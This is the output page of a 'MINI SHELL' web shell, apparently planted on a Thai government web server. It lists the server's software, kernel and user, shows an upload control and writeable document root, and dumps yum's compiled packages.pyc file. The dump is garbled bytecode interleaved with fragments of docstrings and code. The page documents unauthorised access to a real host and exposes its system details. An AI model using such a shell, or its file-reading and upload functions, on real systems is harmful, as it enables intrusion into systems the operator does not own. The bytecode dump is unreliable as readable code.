MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/lib/python2.4/site-packages/yum/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/lib/python2.4/site-packages/yum/packages.pyc
m
ODc@sdkZdkZdkZdkZdkZdkZdkZdkZdkZdk	Zdk
Z
dkZdZdZddZdeiieiifdYZdefdYZdefd	YZdS(
NcCs*h}x|D]}
|
i|
i|
i|
i|
if}|\}
}}}}|
}d|
|f}d|
|||f}d|
|f}d|
||f}d||
|||f}	d|
||||f}xR||||||	|gD]5}|i|pg||<n||i|
qWq
W|S(stake a list of pkg objects and return a dict the contains all the possible
       naming conventions for them eg: for (name,i386,0,1,1)
       dict[name] = (name, i386, 0, 1, 1)
       dict[name.i386] = (name, i386, 0, 1, 1)
       dict[name-1-1.i386] = (name, i386, 0, 1, 1)       
       dict[name-1] = (name, i386, 0, 1, 1)       
       dict[name-1-1] = (name, i386, 0, 1, 1)
       dict[0:name-1-1.i386] = (name, i386, 0, 1, 1)
       dict[name-0:1-1.i386] = (name, i386, 0, 1, 1)
       s%s.%ss%s-%s-%s.%ss%s-%ss%s-%s-%ss%s:%s-%s-%s.%ss%s-%s:%s-%s.%sN(tpkgdicttpkgstpkgtnametarchtepochtversiontreleasetpkgtuptntatetvtrtnameArchtnameVerRelArchtnameVert
nameVerReltenvratnevratitemthas_keytappend(RR
RRRRRRRRR	RRRRR
R((t0/usr/lib/python2.4/site-packages/yum/packages.pytbuildPkgRefDict"s&
$ic
Csgt|}g}g}g}
x|D]}	|i|	o|i	||	||	=q%t
id|	o|i}ti|	}|ot
i|}nt
i|dt
i}d}x@|D]8}|i|o"|i	||||=d}qqW|p|
i|	q)q%|
i|	q%Wti|}ti|
}
ti|}|||
fS(s,matches up the user request versus a pkg list:
       for installs/updates available pkgs should be the 'others list' 
       for removes it should be the installed list of pkgs
       takes an optional casematch option to determine if case should be matched
       exactly. Defaults to not matching.s.*[\*,\[,\],\{,\},\?].*tflagsiiN(RRRt
exactmatchtmatchedt	unmatchedtusercommandstcommandRtextendtretmatchtkeysttrylisttfnmatcht	translatetrestringt	casematchtcompiletregextItfounditRRtmisctunique(
RRR'R#R)R+RRRRRR&R((Rt
parsePackages?s<tYumAvailablePackagecBsztZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZRS(
sderived class for the repomd packageobject and RpmBase packageobject yum
       uses this for dealing with packages in a repositorycCstiii|tiii||i|||i	d|_
|i	d|_|i	d|_|i	d|_
|i	d|_|i	d|_|i	d|_|i	d|_|i|_d|_dS(NRRRRRtrepoid(trepomdt
packageObjectt
PackageObjectt__init__tselftRpmBasetimportFromDictRR0treturnSimpleRRRRtvertrelRt_pkgtupRtNonetstate(R5RR0((RR4rscCs
|idS(Ntpackagesize(R5R8(R5((RtsizescCs
|iS(N(R5treturnPackageTuple(R5((RR;scCsJ|idjo d|i|i|if}nd|i|if}|S(sAreturns a printable version string - including epoch, if it's sett0s%s:%s-%ss%s-%sN(R5RRRR9(R5R9((RtprintVers
 cCs#|i}d|i|i|fS(Ns%s.%s %s(R5RBR9RR(R5R9((RtcompactPrintscCs{tii|ioRy#ti|i}|d}Wqwti	t
fj
otidqwXn
tid|S(sTreturns an rpm header object from the package object's local
           header cacheisCannot open package headersPackage Header Not AvailableN(
tostpathtexistsR5tlocalHdrtrpmtreadHeaderListFromFilethlistthdrterrort
IndexErrortErrorst	RepoError(R5RKRJ((RtreturnLocalHeaderscCs@g}|id}x$|D]\}}}|i|qW|S(sreturns a list of providesNamestprovidesN(t	provnamesR5t
returnPrcotprovRtflagtvertupR(R5RRTRURVRR((RtgetProvidesNamesscCset|dpNtii|i}|id}t	i
i|}|i
d||_n|iS(sBreturn path to local package (whether it is present there, or not)t	localpathtrelativepatht/N(thasattrR5tbasetrepostgetRepoR0trepoR8tremoteRDREtbasenametrpmfntpkgdirRX(R5R`R_Rb((RtlocalPkgscCsst|dp\tii|i}|id}t	i
i|}|d d}|id||_n|iS(sWreturn path to local cached Header file downloaded from package 
           byte rangesthdrpathRYis.hdrRZN(R[R5R\R]R^R0R_R8tpkgpathRDRERatpkgnamethdrnamethdrdirRe(R5RgR_RhRf((RRGsc	Cs|\}}\}}}hdd<dd<dd<dd<d	d
<}|djo|Snd|||f}|dd
dgjo|d|7}n|dj	o|d|7}n|dj	o|d|7}n|S(s1convert the prco tuples into a nicer human stringtGTt>tGEs>=tEQt=tLTt<tLEs<=s%s %s iRAs%s:s%ss-%sN(	t	prcoTupleRRURRR
RR<R\(	R5RrRRRUR
RR\R((Rt
prcoPrintables3


cCs@g}x3|idD]"}|i|}|i|qW|S(s.return a list of requires in normal rpm formattrequiresN(treqlistR5RSRrRstprcostrR(R5RrRvRu((RtrequiresListscCs||id<t|do]|i\}}
}}}||id<|
|id<||id<||id<||id<nt|do,|id	|id
<|id|id<nt|d
o@|id|id<|id|id<|id|id<nt|dom|i
idp
d9}n,|i
ddjo
d9}n|i
d}||id<|i
d|id<nt|do,|id|id<|id|id<nt|do[|i}x7d d!d"d#d$d%d&d'gD]}|||i|<qW|ii|d(nt|d)ocx`|iiD]K}|i|}	|ii|	pg|i|	<n|i|	i|qJWnt|d*ox|iiD]}x|i|D]}|d}d9}}
}}|id+o|d+}n|ido|d}
n|id,o|d,}n|id-o|d-}n|i|i|||
||ffqWqWnt|d.ox|i D]}d9}}}|id/o|d/}n|id0o|d0}n|id1o|d1}n|i i|||fqWnt|d2o|i%d3}
|i%d0}|i%d4}|d9jp|i)d5jo
d6}n$|i)d7jo
d8}nd6}|i*i|
||fnd9S(:s^handles an mdCache package dictionary item to populate out 
           the package informationR0RRRRRRttimetbuildt	buildtimetfiletfiletimeR?tpackageR>tarchivetarchivesizet	installedt
installedsizetlocationR\ttbasepaththrefRYthdrangetstartthdrstarttendthdrendtinfotsummarytdescriptiontpackagertgroupt	buildhostt	sourcerpmturltvendortlicensetfilestprcoRR9R:t	changelogtdatetvaluetauthortchecksumttypetpkgidtNOitYESiN(+R0R5tsimpleR[RRR	RRR
R
RxR?RRR<RRRtinfodictRtlicensesRRR"R{tftypeRtrtypetrdictRtfRtcdictRttextRRtctypetcsumtcsumidtuppert	checksums(R5RR0RRRR{RRRRRR
RRRRRRRR	RR
R((RR7s








	

2
!


 

(t__name__t
__module__t__doc__R4R?R;RBRCRPRWRdRGRsRwR7(((RR/ns											
		tYumInstalledPackagecBsztZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZRS(
s2super class for dealing with packages in the rpmdbcCs||_|id|_|id|_|i|_|id|_|id|_|id|_	|id|_
|i|_d|_
|id|_|id|_|iti|_d|_dS(	sGhand in an rpm header, we'll assume it's installed and query from thereRRRRRRRN(RKR5t	tagByNameRRtdoepochRRRR9R:R;RR0RRRHtRPMTAG_SHA1HEADERRR<R=(R5RK((RR4<s		cCsb|idjo&d|i|i|i|if}n)d|i|i|i|i|if}|S(NRAs
%s - %s-%s.%ss%s - %s:%s-%s.%s(R5RRRRRtval(R5R((Rt__str__Ms&(cCs|i|}|S(N(R5RKttagtdata(R5RR((RRVs
cCs4|id}|djo
d}n
t|}|S(NRRA(R5RKttmpepochR<Rtstr(R5RR((RRZs



cCs2t||ot||Sn|i|SdS(N(R[R5tthingtgetattrR(R5R((RR8cscCs|iS(N(R5RK(R5((RRPiscCs\|id}t|tij	o0t|tijo
|g}qXg}n|S(sreturns a list of providesNamestprovidenameN(R5RRRRttypestListTypet
StringType(R5RR((RRWms

c
Csg}	|iti}|iti}|iti}|dj	ot|||}nx<|D]4\}}}tii|||}|	i|q`W|	S(s?return a list of all of the strings of the package requirementsN(RuR5RKRHtRPMTAG_REQUIRENAMEtnamestRPMTAG_REQUIREFLAGSRtRPMTAG_REQUIREVERSIONR9R<tzipttmplstR	RRtrpmUtilst	miscutilst
formatRequiretreqR(
R5RR9RRRR	RRRu((RRwys
cCs"|i|i|i|i|ifS(N(R5RRRRR(R5((RR;scCs
|idS(NR?(R5R(R5((RR?scCsJ|idjo d|i|i|if}nd|i|if}|S(sAreturns a printable version string - including epoch, if it's setRAs%s:%s-%ss%s-%sN(R5RRRR9(R5R9((RRBs
 cCs#|i}d|i|i|fS(Ns%s.%s %s(R5RBR9RR(R5R9((RRCs(RRRR4RRRR8RPRWRwR;R?RBRC(((RR:s														tYumLocalPackagecBs/tZdZeedZdZdZRS(sClass to handle an arbitrary package from a file path
       this inherits most things from YumInstalledPackage because
       installed packages and an arbitrary package on disk act very
       much alike. init takes a ts instance and a filename/path 
       to the package.cCs]|djotidn|djotidnd|_||_||_yt	i
i||i|_Wn+t	i
j
o}tid|inX|id|_|id|_|i|_|id|_|id|_|id|_|id|_|id	|_|id
|_|i|_d|_dS(NsANo Transaction Set Instance for YumLocalPackage instance creations;No Filename specified for YumLocalPackage instance creationtlocals!Could not open local rpm file: %sRRRRRR(ttsR<RNt	MiscErrortfilenameR5tpkgtypeRXR0RRthdrFromPackageRKt
RpmUtilsErrorRRRRRRRRR9R:RRR;RR=(R5RRR((RR4s,

			cCs"|i|i|i|i|ifS(N(R5RRRRR(R5((RR;scCs|iS(N(R5RX(R5((RRds(RRRR<R4R;Rd(((RRs	(RHRDtos.pathR,R RR$Rt
rpmUtils.archtrpmUtils.miscutilsRNtrepomd.packageObjectR1R<R\RR.R2R3R6R/RR(RNRRR1RHR.R,R R\RR$RR/RDR((Rt?s"													/%b

Anon7 - 2021